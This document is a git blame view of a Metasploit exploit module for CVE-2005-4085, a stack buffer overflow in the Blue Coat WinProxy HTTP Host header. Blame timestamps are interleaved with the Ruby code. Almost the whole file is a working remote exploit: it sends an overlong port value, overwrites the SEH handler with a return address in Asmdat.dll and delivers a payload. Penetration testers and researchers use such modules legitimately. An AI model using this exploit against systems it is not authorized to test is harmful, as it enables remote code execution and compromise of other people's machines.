Files
metasploit-gs/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

81 lines
2.1 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GreatRanking
2006-01-08 06:26:30 +00:00
2010-07-12 23:25:31 +00:00
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
2006-01-08 06:26:30 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Blue Coat WinProxy Host Header Overflow',
'Description' => %q{
This module exploits a buffer overflow in the Blue Coat Systems WinProxy
2025-06-20 13:20:44 +01:00
service by sending a long port value for the Host header in a HTTP
request.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' => [
2006-01-08 06:26:30 +00:00
['CVE', '2005-4085'],
['OSVDB', '22238'],
2006-09-12 05:58:09 +00:00
['BID', '16147'],
['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
2006-01-08 06:26:30 +00:00
],
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2006-01-08 06:26:30 +00:00
'EXITFUNC' => 'thread',
},
2025-06-20 13:20:44 +01:00
'Payload' => {
'Space' => 600,
2006-01-08 06:26:30 +00:00
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Targets' => [
2006-01-08 06:26:30 +00:00
[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
],
2025-06-20 13:20:44 +01:00
'Privileged' => true,
'DisclosureDate' => '2005-01-05',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2006-01-08 06:26:30 +00:00
register_options(
[
Opt::RPORT(80)
2025-06-20 13:20:44 +01:00
]
)
2006-01-08 06:26:30 +00:00
end
def exploit
connect
print_status("Trying target #{target.name}...")
2025-06-20 13:20:44 +01:00
sploit = "GET / HTTP/1.1" + "\r\n"
2006-01-08 06:26:30 +00:00
sploit += "Host: 127.0.0.1:"
sploit += rand_text_english(31, payload_badchars)
2025-06-20 13:20:44 +01:00
seh = generate_seh_payload(target.ret)
2006-01-08 06:26:30 +00:00
sploit[23, seh.length] = seh
sploit += "\r\n\r\n"
sock.put(sploit)
sock.get_once(-1, 3)
2006-01-08 06:26:30 +00:00
handler
disconnect
end
2009-05-13 17:39:42 +00:00
end